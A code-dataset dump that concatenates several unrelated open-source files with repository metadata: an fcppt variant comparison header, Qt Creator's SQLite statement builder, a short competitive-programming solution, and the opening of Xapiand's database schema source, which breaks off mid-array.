// Copyright Carl Philipp Reh 2009 - 2016. // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) #ifndef FCPPT_VARIANT_COMPARE_HPP_INCLUDED #define FCPPT_VARIANT_COMPARE_HPP_INCLUDED #include <fcppt/const.hpp> #include <fcppt/optional/maybe.hpp> #include <fcppt/variant/apply_unary.hpp> #include <fcppt/variant/object_fwd.hpp> #include <fcppt/variant/to_optional.hpp> #include <fcppt/config/external_begin.hpp> #include <type_traits> #include <fcppt/config/external_end.hpp> namespace fcppt { namespace variant { /** \brief Compares two variants using a Compare function \ingroup fcpptvariant Compares \a _left and \a _right using \a _compare. The two variants are equal if they hold the same type <code>T</code> and <code>_compare(_left.get<T>(), _right.get<T>())</code> holds. \param _left The first variant \param _right The second variant \param _compare The function to use for comparison */ template< typename Types, typename Compare > inline bool compare( fcppt::variant::object< Types > const &_left, fcppt::variant::object< Types > const &_right, Compare const &_compare ) { return fcppt::variant::apply_unary( [ &_compare, &_left ]( auto const &_right_inner ) -> bool { return fcppt::optional::maybe( fcppt::variant::to_optional< typename std::decay< decltype( _right_inner ) >::type >( _left ), fcppt::const_( false ), [ &_right_inner, &_compare ]( auto const &_left_inner ) { return _compare( _left_inner, _right_inner ); } ); }, _right ); } } } #endif
18.078431
77
0.642625
[ "object" ]
cfa08a2b7b360e59e12892abbc5d5d9ce1cfdb3a
8,709
cpp
C++
qt-creator-opensource-src-4.6.1/src/libs/sqlite/sqlstatementbuilder.cpp
kevinlq/Qt-Creator-Opensource-Study
b8cadff1f33f25a5d4ef33ed93f661b788b1ba0f
[ "MIT" ]
5
2018-12-22T14:49:13.000Z
2022-01-13T07:21:46.000Z
qt-creator-opensource-src-4.6.1/src/libs/sqlite/sqlstatementbuilder.cpp
kevinlq/Qt-Creator-Opensource-Study
b8cadff1f33f25a5d4ef33ed93f661b788b1ba0f
[ "MIT" ]
null
null
null
qt-creator-opensource-src-4.6.1/src/libs/sqlite/sqlstatementbuilder.cpp
kevinlq/Qt-Creator-Opensource-Study
b8cadff1f33f25a5d4ef33ed93f661b788b1ba0f
[ "MIT" ]
8
2018-07-17T03:55:48.000Z
2021-12-22T06:37:53.000Z
/**************************************************************************** ** ** Copyright (C) 2016 The Qt Company Ltd. ** Contact: https://www.qt.io/licensing/ ** ** This file is part of Qt Creator. ** ** Commercial License Usage ** Licensees holding valid commercial Qt licenses may use this file in ** accordance with the commercial license agreement provided with the ** Software or, alternatively, in accordance with the terms contained in ** a written agreement between you and The Qt Company. For licensing terms ** and conditions see https://www.qt.io/terms-conditions. For further ** information use the contact form at https://www.qt.io/contact-us. ** ** GNU General Public License Usage ** Alternatively, this file may be used under the terms of the GNU ** General Public License version 3 as published by the Free Software ** Foundation with exceptions as appearing in the file LICENSE.GPL3-EXCEPT ** included in the packaging of this file. Please review the following ** information to ensure the GNU General Public License requirements will ** be met: https://www.gnu.org/licenses/gpl-3.0.html. ** ****************************************************************************/ #include "sqlstatementbuilder.h" #include "sqlstatementbuilderexception.h" #include <utils/smallstringvector.h> #include <algorithm> namespace Sqlite { SqlStatementBuilder::SqlStatementBuilder(Utils::SmallStringView sqlTemplate) : m_sqlTemplate(std::move(sqlTemplate)) { } void SqlStatementBuilder::bindEmptyText(Utils::SmallString &&name) { clearSqlStatement(); checkIfPlaceHolderExists(name); changeBinding(std::move(name), {}); } void SqlStatementBuilder::bind(Utils::SmallString &&name, Utils::SmallString &&text) { clearSqlStatement(); checkBindingTextIsNotEmpty(text); checkIfPlaceHolderExists(name); changeBinding(std::move(name), std::move(text)); } void SqlStatementBuilder::bind(Utils::SmallString &&name, const Utils::SmallStringVector &textVector) { clearSqlStatement(); checkBindingTextVectorIsNotEmpty(textVector); checkIfPlaceHolderExists(name); changeBinding(std::move(name), textVector.join(", ")); } void SqlStatementBuilder::bind(Utils::SmallString &&name, int value) { clearSqlStatement(); checkIfPlaceHolderExists(name); changeBinding(std::move(name), Utils::SmallString::number(value)); } namespace { Utils::SmallStringVector integerVectorToStringVector(const std::vector<int> &integerVector) { Utils::SmallStringVector stringVector; stringVector.reserve(integerVector.size()); std::transform(integerVector.begin(), integerVector.end(), std::back_inserter(stringVector), [] (int i) { return Utils::SmallString::number(i); }); return stringVector; } } void SqlStatementBuilder::bind(Utils::SmallString &&name, const std::vector<int> &integerVector) { clearSqlStatement(); checkBindingIntegerVectorIsNotEmpty(integerVector); checkIfPlaceHolderExists(name); changeBinding(std::move(name), integerVectorToStringVector(integerVector).join(", ")); } void SqlStatementBuilder::bindWithInsertTemplateParameters(Utils::SmallString &&name, const Utils::SmallStringVector &columns) { clearSqlStatement(); checkBindingTextVectorIsNotEmpty(columns); checkIfPlaceHolderExists(name); changeBinding(std::move(name), insertTemplateParameters(columns)); } void SqlStatementBuilder::bindWithUpdateTemplateParameters(Utils::SmallString &&name, const Utils::SmallStringVector &columns) { clearSqlStatement(); checkBindingTextVectorIsNotEmpty(columns); checkIfPlaceHolderExists(name); changeBinding(std::move(name), updateTemplateParameters(columns)); } void SqlStatementBuilder::bindWithUpdateTemplateNames(Utils::SmallString &&name, const Utils::SmallStringVector &columns) { clearSqlStatement(); checkBindingTextVectorIsNotEmpty(columns); checkIfPlaceHolderExists(name); changeBinding(std::move(name), updateTemplateNames(columns)); } void SqlStatementBuilder::clear() { m_bindings.clear(); m_sqlStatement.clear(); } Utils::SmallString SqlStatementBuilder::insertTemplateParameters(const Utils::SmallStringVector &columns) { const Utils::SmallStringVector templateParamters(columns.size(), "?"); return templateParamters.join(", "); } Utils::SmallString SqlStatementBuilder::updateTemplateParameters(const Utils::SmallStringVector &columns) { Utils::SmallString templateParamters = columns.join("=?, "); templateParamters.append("=?"); return templateParamters; } Utils::SmallString SqlStatementBuilder::updateTemplateNames(const Utils::SmallStringVector &columns) { Utils::SmallStringVector templateNames; templateNames.reserve(columns.size()); auto convertToTemplateNames = [] (const Utils::SmallString &column) { return Utils::SmallString::join({column, "=@", column}); }; std::transform(columns.begin(), columns.end(), std::back_inserter(templateNames), convertToTemplateNames); return templateNames.join(", "); } void SqlStatementBuilder::sortBindings() const { std::sort(m_bindings.begin(), m_bindings.end(), [] (const BindingPair &lhs,const BindingPair &rhs) { return lhs.first.size() == rhs.first.size() ? lhs.first < rhs.first : lhs.first.size() > rhs.first.size(); }); } Utils::SmallStringView SqlStatementBuilder::sqlStatement() const { if (!isBuild()) generateSqlStatement(); return m_sqlStatement; } bool SqlStatementBuilder::isBuild() const { return m_sqlStatement.hasContent(); } Utils::SmallString SqlStatementBuilder::columnTypeToString(ColumnType columnType) { switch (columnType) { case ColumnType::Numeric: return "NUMERIC"; case ColumnType::Integer: return "INTEGER"; case ColumnType::Real: return "REAL"; case ColumnType::Text: return "TEXT"; case ColumnType::None: return {}; } Q_UNREACHABLE(); } void SqlStatementBuilder::generateSqlStatement() const { m_sqlStatement = m_sqlTemplate; sortBindings(); for (const auto &entry : m_bindings) { const Utils::SmallStringView placeHolderToken = entry.first; const Utils::SmallStringView replacementToken = entry.second; m_sqlStatement.replace(placeHolderToken, replacementToken); } checkIfNoPlaceHoldersAynmoreExists(); } void SqlStatementBuilder::changeBinding(Utils::SmallString &&name, Utils::SmallString &&text) { auto findBindingIterator = std::find_if(m_bindings.begin(), m_bindings.end(), [&] (const BindingPair &binding) { return binding.first == name; }); if (findBindingIterator == m_bindings.end()) m_bindings.push_back(std::make_pair(std::move(name), std::move(text))); else findBindingIterator->second = std::move(text); } void SqlStatementBuilder::clearSqlStatement() { m_sqlStatement.clear(); } void SqlStatementBuilder::checkIfPlaceHolderExists(Utils::SmallStringView name) const { if (name.size() < 2 || !name.startsWith('$') || !m_sqlTemplate.contains(name)) throwException("SqlStatementBuilder::bind: placeholder name does not exists!", name.data()); } void SqlStatementBuilder::checkIfNoPlaceHoldersAynmoreExists() const { if (m_sqlStatement.contains('$')) throwException("SqlStatementBuilder::bind: there are still placeholder in the sql statement!", m_sqlTemplate.constData()); } void SqlStatementBuilder::checkBindingTextIsNotEmpty(Utils::SmallStringView text) const { if (text.isEmpty()) throwException("SqlStatementBuilder::bind: binding text it empty!", m_sqlTemplate.constData()); } void SqlStatementBuilder::checkBindingTextVectorIsNotEmpty(const Utils::SmallStringVector &textVector) const { if (textVector.empty()) throwException("SqlStatementBuilder::bind: binding text vector it empty!", m_sqlTemplate.constData()); } void SqlStatementBuilder::checkBindingIntegerVectorIsNotEmpty(const std::vector<int> &integerVector) const { if (integerVector.empty()) throwException("SqlStatementBuilder::bind: binding integer vector it empty!", m_sqlTemplate.constData()); } void SqlStatementBuilder::throwException(const char *whatHasHappened, const char *errorMessage) { throw SqlStatementBuilderException(whatHasHappened, errorMessage); } } // namespace Sqlite
33.240458
130
0.698588
[ "vector", "transform" ]
cfa1d6bdcd67fdb489e3f23bf6ddcb7c9a0fbc7d
340
cpp
C++
codeforces/old/545D.cpp
harry-7/mycodes
442d84fab9dddde12fa0e68fd1a43f7bf13f849d
[ "MIT" ]
1
2016-11-10T13:21:57.000Z
2016-11-10T13:21:57.000Z
codeforces/old/545D.cpp
harry-7/mycodes
442d84fab9dddde12fa0e68fd1a43f7bf13f849d
[ "MIT" ]
null
null
null
codeforces/old/545D.cpp
harry-7/mycodes
442d84fab9dddde12fa0e68fd1a43f7bf13f849d
[ "MIT" ]
null
null
null
#include<iostream> #include<vector> #include<cstring> #include<cstdio> #include<string> #include<algorithm> using namespace std; long long a[100005]; int main() { int n,i; long long ans=0,end=0; cin>>n; for(i=0;i<n;i++)cin>>a[i]; sort(a,a+n); end=a[0];ans=1; for(i=1;i<n;i++) if(a[i]>=end) end+=a[i],ans++; cout<<ans<<endl; }
15.454545
27
0.620588
[ "vector" ]
bbb9749d78a84b16cad34f973d4cd04e2994621b
341,669
cc
C++
src/database/schema.cc
puer99miss/Xapiand
480f312709d40e2b1deb244ff0761b79846ed608
[ "MIT" ]
1
2019-07-23T13:30:52.000Z
2019-07-23T13:30:52.000Z
src/database/schema.cc
puer99miss/Xapiand
480f312709d40e2b1deb244ff0761b79846ed608
[ "MIT" ]
null
null
null
src/database/schema.cc
puer99miss/Xapiand
480f312709d40e2b1deb244ff0761b79846ed608
[ "MIT" ]
null
null
null
/* * Copyright (c) 2015-2019 Dubalu LLC * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "database/schema.h" #include <algorithm> // for std::move #include <cassert> // for assert #include <cmath> // for std::pow #include <cstdint> // for uint64_t #include <cstring> // for size_t, strlen #include <cctype> // for tolower #include <functional> // for ref, reference_wrapper #include <limits> // for std::numeric_limits #include <mutex> // for std::mutex #include <ostream> // for operator<<, basic_ostream #include <set> // for std::set #include <stdexcept> // for std::out_of_range #include <type_traits> // for remove_reference<>::type #include <utility> #include "base_x.hh" // for Base64 #include "cast.h" // for Cast #include "cuuid/uuid.h" // for UUIDGenerator #include "database/handler.h" // for DatabaseHandler #include "database/lock.h" // for lock_shard #include "database/shard.h" // for Shard #include "datetime.h" // for isDate, isDatetime, tm_t #include "exception.h" // for ClientError #include "geospatial/geospatial.h" // for GeoSpatial #include "manager.h" // for XapiandManager, XapiandMan... #include "multivalue/generate_terms.h" // for integer, geo, datetime, positive #include "opts.h" // for opts::* #include "reserved/schema.h" // for RESERVED_ #include "script.h" // for Script #include "serialise_list.h" // for StringList #include "split.h" // for Split #include "static_string.hh" // for static_string #include "stopper.h" // for getStopper #include "strings.hh" // for strings::format, strings::inplace_lower #define L_SCHEMA L_NOTHING // #undef L_DEBUG // #define L_DEBUG L_GREY // #undef L_CALL // #define L_CALL L_STACKED_DIM_GREY // #undef L_INDEX // #define L_INDEX L_CHOCOLATE constexpr static auto EMPTY = static_string::string(EMPTY_CHAR); constexpr static auto STRING = static_string::string(STRING_CHAR); constexpr static auto TIMEDELTA = static_string::string(TIMEDELTA_CHAR); constexpr static auto ARRAY = static_string::string(ARRAY_CHAR); constexpr static auto BOOLEAN = static_string::string(BOOLEAN_CHAR); constexpr static auto DATE = static_string::string(DATE_CHAR); constexpr static auto DATETIME = static_string::string(DATETIME_CHAR); constexpr static auto FOREIGN = static_string::string(FOREIGN_CHAR); constexpr static auto FLOATING = static_string::string(FLOATING_CHAR); constexpr static auto GEO = static_string::string(GEO_CHAR); constexpr static auto INTEGER = static_string::string(INTEGER_CHAR); constexpr static auto OBJECT = static_string::string(OBJECT_CHAR); constexpr static auto POSITIVE = static_string::string(POSITIVE_CHAR); constexpr static auto TEXT = static_string::string(TEXT_CHAR); constexpr static auto KEYWORD = static_string::string(KEYWORD_CHAR); constexpr static auto UUID = static_string::string(UUID_CHAR); constexpr static auto SCRIPT = static_string::string(SCRIPT_CHAR); constexpr static auto TIME = static_string::string(TIME_CHAR); const std::string NAMESPACE_PREFIX_ID_FIELD_NAME = get_prefix(ID_FIELD_NAME); /* * index() algorithm outline: * 1. Try reading schema from the metadata, if there is already a schema jump to 3. * 2. Write properties and feed specification_t using write_*, this step could * use some process_* (for some properties). Jump to 5. * 3. Feed specification_t with the read schema using feed_*; * sets field_found for all found fields. * 4. Complement specification_t with the object sent by the user using process_*, * except those that are already fixed because are reserved to be and * they already exist in the metadata, those are simply checked with consistency_*. * 5. If the field in the schema is normal and still has no RESERVED_TYPE (concrete) * and a value is received for the field, call validate_required_data() to * initialize the specification with validated data sent by the user. * 6. If the field is namespace or has partial paths call validate_required_namespace_data() to * initialize the specification with default specifications and sent by the user. * 7. If there are values sent by user, fills the document to be indexed via * index_item_value() * 8. If the path has uuid field name the values are indexed according to index_uuid_field. * 9. index_object() does step 2 to 8 and for each field it calls index_object(...). * 10. index() does steps 2 to 4 and for each field it calls index_object(...) * * write_schema() algorithm outline: * 1. Try reading schema from the metadata. * 2. If there is already a schema, feed specification_t with the read schema * using feed_*; sets field_found for all found fields. * 3. Write properties and feed specification_t using write_*, this step could * use some process_* (for some properties). * 4. write_object() does step 2 to 3 and for each field it calls update_schema(...). */ /* * Unordered Maps used for reading user data specification. */ namespace std { template<typename T, size_t N> struct hash<const array<T, N>> { size_t operator()(const array<T, N>& a) const { size_t h = 0; for (auto e : a) { h ^= hash<T>{}(e) + 0x9e3779b9 + (h << 6) + (h >> 2); } return h; } }; } /* * Default accuracies. */ /* Python script to generate the def_accuracy_num: * deltas = [8, 7, 7, 7, 7, 7, 5, 5, 2, 1]; w = [(0, 64)]; print('\n'.join(reversed(['\t(1ULL << {}), // {} (max_terms: {}, delta: {})'.format(y, 1 << y, int((1 << x) / (1 << y)), x - y) for x, y in ((lambda delta: w.append((w[-1][1], w[-1][1] - delta)))(delta) or w[-1] for delta in reversed(deltas))]))) */ static const std::vector<uint64_t> def_accuracy_num({ 100ULL, 1000ULL, 10000ULL, 100000ULL, 1000000ULL, 100000000ULL, }); static const std::vector<uint64_t> def_accuracy_date({ toUType(UnitTime::day), // 86400 s toUType(UnitTime::month), // 2592000 s toUType(UnitTime::year), // 31536000 s toUType(UnitTime::decade), // 315360000 s toUType(UnitTime::century), // 3153600000 s }); static const std::vector<uint64_t> def_accuracy_datetime({ toUType(UnitTime::hour), // 3600 s toUType(UnitTime::day), // 86400 s toUType(UnitTime::month), // 2592000 s toUType(UnitTime::year), // 31536000 s toUType(UnitTime::decade), // 315360000 s toUType(UnitTime::century), // 3153600000 s }); static const std::vector<uint64_t> def_accuracy_time({ toUType(UnitTime::minute), // 60 s toUType(UnitTime::hour), // 3600 s }); /* HTM terms (Hierarchical Triangular Mesh) * HTM terms (Hierarchical Triangular Mesh) * Any integer value in the range 0-25 can be used to specify an HTM level * An approximation of the accuracy obtained by a level can be estimated as: * 0.30 * 2 ** (25 - level) * * Python script to generate the def_accuracy_geo: * levels = [3, 5, 8, 10, 12, 15]; print('\n'.join('\t{}, // ~ {} m'.format(level, 0.30 * 2 ** (25 - level)) for level in levels)) */ static const std::vector<uint64_t> def_accuracy_geo({ 3, // ~ 1,258,291.2 m 5, // ~ 314,572.8 m 8, // ~ 39,321.6 m 10, // ~ 9,830.4 m 12, // ~ 2,457.6 m 15, // ~ 307.2 m }); required_spc_t _get_data_id(required_spc_t& spc_id, const MsgPack& id_properties); static inline bool validate_acc_date(UnitTime unit) noexcept { switch (unit) { case UnitTime::second: case UnitTime::minute: case UnitTime::hour: case UnitTime::day: case UnitTime::month: case UnitTime::year: case UnitTime::decade: case UnitTime::century: case UnitTime::millennium: return true; default: return false; } } /* * Helper functions to print readable form of enums */ static inline const std::string& _get_str_acc_date(UnitTime unit) noexcept { switch (unit) { case UnitTime::second: { static const std::string second("second"); return second; } case UnitTime::minute: { static const std::string minute("minute"); return minute; } case UnitTime::hour: { static const std::string hour("hour"); return hour; } case UnitTime::day: { static const std::string day("day"); return day; } case UnitTime::month: { static const std::string month("month"); return month; } case UnitTime::year: { static const std::string year("year"); return year; } case UnitTime::decade: { static const std::string decade("decade"); return decade; } case UnitTime::century: { static const std::string century("century"); return century; } case UnitTime::millennium: { static const std::string millennium("millennium"); return millennium; } default: { static const std::string unknown("unknown"); return unknown; } } } static inline const std::string& _get_str_index(TypeIndex index) noexcept { switch (index) { case TypeIndex::NONE: { static const std::string none("none"); return none; } case TypeIndex::FIELD_TERMS: { static const std::string field_terms("field_terms"); return field_terms; } case TypeIndex::FIELD_VALUES: { static const std::string field_values("field_values"); return field_values; } case TypeIndex::FIELD_ALL: { static const std::string field("field"); return field; } case TypeIndex::GLOBAL_TERMS: { static const std::string global_terms("global_terms"); return global_terms; } case TypeIndex::TERMS: { static const std::string terms("terms"); return terms; } case TypeIndex::GLOBAL_TERMS_FIELD_VALUES: { static const std::string global_terms_field_values("global_terms,field_values"); return global_terms_field_values; } case TypeIndex::GLOBAL_TERMS_FIELD_ALL: { static const std::string global_terms_field("global_terms,field"); return global_terms_field; } case TypeIndex::GLOBAL_VALUES: { static const std::string global_values("global_values"); return global_values; } case TypeIndex::GLOBAL_VALUES_FIELD_TERMS: { static const std::string global_values_field_terms("global_values,field_terms"); return global_values_field_terms; } case TypeIndex::VALUES: { static const std::string values("values"); return values; } case TypeIndex::GLOBAL_VALUES_FIELD_ALL: { static const std::string global_values_field("global_values,field"); return global_values_field; } case TypeIndex::GLOBAL_ALL: { static const std::string global("global"); return global; } case TypeIndex::GLOBAL_ALL_FIELD_TERMS: { static const std::string global_field_terms("global,field_terms"); return global_field_terms; } case TypeIndex::GLOBAL_ALL_FIELD_VALUES: { static const std::string global_field_values("global,field_values"); return global_field_values; } case TypeIndex::ALL: { static const std::string all("all"); return all; } default: { static const std::string unknown("unknown"); return unknown; } } } static const std::string str_set_acc_date(strings::join<std::string>({ "second", "minute", "hour", "day", "month", "year", "decade", "century", "millennium", }, ", ", " or ")); inline UnitTime _get_accuracy_date(std::string_view str_accuracy_date) { constexpr static auto _ = phf::make_phf({ hhl("day"), hhl("month"), hhl("year"), hhl("decade"), hhl("century"), hhl("millennium"), }); switch (_.fhhl(str_accuracy_date)) { case _.fhhl("day"): return UnitTime::day; case _.fhhl("month"): return UnitTime::month; case _.fhhl("year"): return UnitTime::year; case _.fhhl("decade"): return UnitTime::decade; case _.fhhl("century"): return UnitTime::century; case _.fhhl("millennium"): return UnitTime::millennium; default: return UnitTime::INVALID; } } UnitTime get_accuracy_date(std::string_view str_accuracy_date) { return _get_accuracy_date(str_accuracy_date); } inline UnitTime _get_accuracy_datetime(std::string_view str_accuracy_datetime) { constexpr static auto _ = phf::make_phf({ hhl("second"), hhl("minute"), hhl("hour"), hhl("day"), hhl("month"), hhl("year"), hhl("decade"), hhl("century"), hhl("millennium"), }); switch (_.fhhl(str_accuracy_datetime)) { case _.fhhl("second"): return UnitTime::second; case _.fhhl("minute"): return UnitTime::minute; case _.fhhl("hour"): return UnitTime::hour; case _.fhhl("day"): return UnitTime::day; case _.fhhl("month"): return UnitTime::month; case _.fhhl("year"): return UnitTime::year; case _.fhhl("decade"): return UnitTime::decade; case _.fhhl("century"): return UnitTime::century; case _.fhhl("millennium"): return UnitTime::millennium; default: return UnitTime::INVALID; } } UnitTime get_accuracy_datetime(std::string_view str_accuracy_datetime) { return _get_accuracy_datetime(str_accuracy_datetime); } static const std::string str_set_acc_time(strings::join<std::string>({ "second", "minute", "hour", }, ", ", " or ")); inline UnitTime _get_accuracy_time(std::string_view str_accuracy_time) { constexpr static auto _ = phf::make_phf({ hhl("second"), hhl("minute"), hhl("hour"), }); switch (_.fhhl(str_accuracy_time)) { case _.fhhl("second"): return UnitTime::second; case _.fhhl("minute"): return UnitTime::minute; case _.fhhl("hour"): return UnitTime::hour; default: return UnitTime::INVALID; } } UnitTime get_accuracy_time(std::string_view str_accuracy_time) { return _get_accuracy_time(str_accuracy_time); } static const std::string str_set_stop_strategy(strings::join<std::string>({ "stop_none", "none", "stop_all", "all", "stop_stemmed", "stemmed", }, ", ", " or ")); inline StopStrategy _get_stop_strategy(std::string_view str_stop_strategy) { constexpr static auto _ = phf::make_phf({ hhl("stop_none"), hhl("none"), hhl("stop_all"), hhl("all"), hhl("stop_stemmed"), hhl("stemmed"), }); switch (_.fhhl(str_stop_strategy)) { case _.fhhl("stop_none"): return StopStrategy::stop_none; case _.fhhl("none"): return StopStrategy::stop_none; case _.fhhl("stop_all"): return StopStrategy::stop_all; case _.fhhl("all"): return StopStrategy::stop_all; case _.fhhl("stop_stemmed"): return StopStrategy::stop_stemmed; case _.fhhl("stemmed"): return StopStrategy::stop_stemmed; default: return StopStrategy::INVALID; } } static const std::string str_set_stem_strategy(strings::join<std::string>({ "stem_none", "none", "stem_some", "some", "stem_all", "all", "stem_all_z", "all_z", }, ", ", " or ")); static const std::string str_set_index_uuid_field(strings::join<std::string>({ "uuid", "uuid_field", "both", }, ", ", " or ")); static inline UUIDFieldIndex _get_index_uuid_field(std::string_view str_index_uuid_field) { constexpr static auto _ = phf::make_phf({ hhl("uuid"), hhl("uuid_field"), hhl("both"), }); switch (_.fhhl(str_index_uuid_field)) { case _.fhhl("uuid"): return UUIDFieldIndex::uuid; case _.fhhl("uuid_field"): return UUIDFieldIndex::uuid_field; case _.fhhl("both"): return UUIDFieldIndex::both; default: return UUIDFieldIndex::INVALID; } } static const std::string str_set_index(strings::join<std::string>({ "none", "field_terms", "field_values", "field_terms,field_values", "field_values,field_terms", "field", "field_all", "global_terms", "field_terms,global_terms", "global_terms,field_terms", "terms", "global_terms,field_values", "field_values,global_terms", "global_terms,field", "global_terms,field_all", "field,global_terms", "field_all,global_terms", "global_values", "global_values,field_terms", "field_terms,global_values", "field_values,global_values", "global_values,field_values", "values", "global_values,field", "global_values,field_all", "field,global_values", "field_all,global_values", "global", "global_all", "global_values,global_terms", "global_terms,global_values", "global,field_terms", "global_all,field_terms", "field_terms,global", "field_terms,global_all", "global_all,field_values", "global,field_values", "field_values,global", "field_values,global_all", "field_all,global_all", "global_all,field_all", "all", }, ", ", " or ")); static inline TypeIndex _get_index(std::string_view str_index) { constexpr static auto _ = phf::make_phf({ hhl("none"), hhl("field_terms"), hhl("field_values"), hhl("field_terms,field_values"), hhl("field_values,field_terms"), hhl("field"), hhl("field_all"), hhl("global_terms"), hhl("field_terms,global_terms"), hhl("global_terms,field_terms"), hhl("terms"), hhl("global_terms,field_values"), hhl("field_values,global_terms"), hhl("global_terms,field"), hhl("global_terms,field_all"), hhl("field,global_terms"), hhl("field_all,global_terms"), hhl("global_values"), hhl("global_values,field_terms"), hhl("field_terms,global_values"), hhl("field_values,global_values"), hhl("global_values,field_values"), hhl("values"), hhl("global_values,field"), hhl("global_values,field_all"), hhl("field,global_values"), hhl("field_all,global_values"), hhl("global"), hhl("global_all"), hhl("global_values,global_terms"), hhl("global_terms,global_values"), hhl("global,field_terms"), hhl("global_all,field_terms"), hhl("field_terms,global"), hhl("field_terms,global_all"), hhl("global_all,field_values"), hhl("global,field_values"), hhl("field_values,global"), hhl("field_values,global_all"), hhl("field_all,global_all"), hhl("global_all,field_all"), hhl("all"), }); switch(_.fhhl(str_index)) { case _.fhhl("none"): return TypeIndex::NONE; case _.fhhl("field_terms"): return TypeIndex::FIELD_TERMS; case _.fhhl("field_values"): return TypeIndex::FIELD_VALUES; case _.fhhl("field_terms,field_values"): return TypeIndex::FIELD_ALL; case _.fhhl("field_values,field_terms"): return TypeIndex::FIELD_ALL; case _.fhhl("field"): return TypeIndex::FIELD_ALL; case _.fhhl("field_all"): return TypeIndex::FIELD_ALL; case _.fhhl("global_terms"): return TypeIndex::GLOBAL_TERMS; case _.fhhl("field_terms,global_terms"): return TypeIndex::TERMS; case _.fhhl("global_terms,field_terms"): return TypeIndex::TERMS; case _.fhhl("terms"): return TypeIndex::TERMS; case _.fhhl("global_terms,field_values"): return TypeIndex::GLOBAL_TERMS_FIELD_VALUES; case _.fhhl("field_values,global_terms"): return TypeIndex::GLOBAL_TERMS_FIELD_VALUES; case _.fhhl("global_terms,field"): return TypeIndex::GLOBAL_TERMS_FIELD_ALL; case _.fhhl("global_terms,field_all"): return TypeIndex::GLOBAL_TERMS_FIELD_ALL; case _.fhhl("field,global_terms"): return TypeIndex::GLOBAL_TERMS_FIELD_ALL; case _.fhhl("field_all,global_terms"): return TypeIndex::GLOBAL_TERMS_FIELD_ALL; case _.fhhl("global_values"): return TypeIndex::GLOBAL_VALUES; case _.fhhl("global_values,field_terms"): return TypeIndex::GLOBAL_VALUES_FIELD_TERMS; case _.fhhl("field_terms,global_values"): return TypeIndex::GLOBAL_VALUES_FIELD_TERMS; case _.fhhl("field_values,global_values"): return TypeIndex::VALUES; case _.fhhl("global_values,field_values"): return TypeIndex::VALUES; case _.fhhl("values"): return TypeIndex::VALUES; case _.fhhl("global_values,field"): return TypeIndex::GLOBAL_VALUES_FIELD_ALL; case _.fhhl("global_values,field_all"): return TypeIndex::GLOBAL_VALUES_FIELD_ALL; case _.fhhl("field,global_values"): return TypeIndex::GLOBAL_VALUES_FIELD_ALL; case _.fhhl("field_all,global_values"): return TypeIndex::GLOBAL_VALUES_FIELD_ALL; case _.fhhl("global"): return TypeIndex::GLOBAL_ALL; case _.fhhl("global_all"): return TypeIndex::GLOBAL_ALL; case _.fhhl("global_values,global_terms"): return TypeIndex::GLOBAL_ALL; case _.fhhl("global_terms,global_values"): return TypeIndex::GLOBAL_ALL; case _.fhhl("global,field_terms"): return TypeIndex::GLOBAL_ALL_FIELD_TERMS; case _.fhhl("global_all,field_terms"): return TypeIndex::GLOBAL_ALL_FIELD_TERMS; case _.fhhl("field_terms,global"): return TypeIndex::GLOBAL_ALL_FIELD_TERMS; case _.fhhl("field_terms,global_all"): return TypeIndex::GLOBAL_ALL_FIELD_TERMS; case _.fhhl("global_all,field_values"): return TypeIndex::GLOBAL_ALL_FIELD_VALUES; case _.fhhl("global,field_values"): return TypeIndex::GLOBAL_ALL_FIELD_VALUES; case _.fhhl("field_values,global"): return TypeIndex::GLOBAL_ALL_FIELD_VALUES; case _.fhhl("field_values,global_all"): return TypeIndex::GLOBAL_ALL_FIELD_VALUES; case _.fhhl("field_all,global_all"): return TypeIndex::ALL; case _.fhhl("global_all,field_all"): return TypeIndex::ALL; case _.fhhl("all"): return TypeIndex::ALL; default: return TypeIndex::INVALID; } } static inline const std::array<FieldType, SPC_TOTAL_TYPES>& _get_type(std::string_view str_type) { constexpr static auto _ = phf::make_phf({ hhl("boolean"), hhl("date"), hhl("datetime"), hhl("float"), hhl("floating"), hhl("geospatial"), hhl("integer"), hhl("positive"), hhl("string"), hhl("term"), // FIXME: remove legacy term hhl("keyword"), hhl("text"), hhl("time"), hhl("timedelta"), hhl("uuid"), hhl("script"), hhl("array"), hhl("array/boolean"), hhl("array/date"), hhl("array/datetime"), hhl("array/float"), hhl("array/geospatial"), hhl("array/integer"), hhl("array/positive"), hhl("array/string"), hhl("array/term"), // FIXME: remove legacy term hhl("array/keyword"), hhl("array/text"), hhl("array/time"), hhl("array/timedelta"), hhl("array/uuid"), hhl("boolean/array"), hhl("date/array"), hhl("datetime/array"), hhl("float/array"), hhl("geospatial/array"), hhl("integer/array"), hhl("positive/array"), hhl("string/array"), hhl("term/array"), // FIXME: remove legacy term hhl("keyword/array"), hhl("text/array"), hhl("time/array"), hhl("timedelta/array"), hhl("uuid/array"), hhl("object"), hhl("object/boolean"), hhl("object/date"), hhl("object/datetime"), hhl("object/float"), hhl("object/geospatial"), hhl("object/integer"), hhl("object/positive"), hhl("object/string"), hhl("object/term"), // FIXME: remove legacy term hhl("object/keyword"), hhl("object/text"), hhl("object/time"), hhl("object/timedelta"), hhl("object/uuid"), hhl("boolean/object"), hhl("date/object"), hhl("datetime/object"), hhl("float/object"), hhl("geospatial/object"), hhl("integer/object"), hhl("positive/object"), hhl("string/object"), hhl("term/object"), // FIXME: remove legacy term hhl("keyword/object"), hhl("text/object"), hhl("time/object"), hhl("timedelta/object"), hhl("uuid/object"), hhl("array/object"), hhl("array/boolean/object"), hhl("array/date/object"), 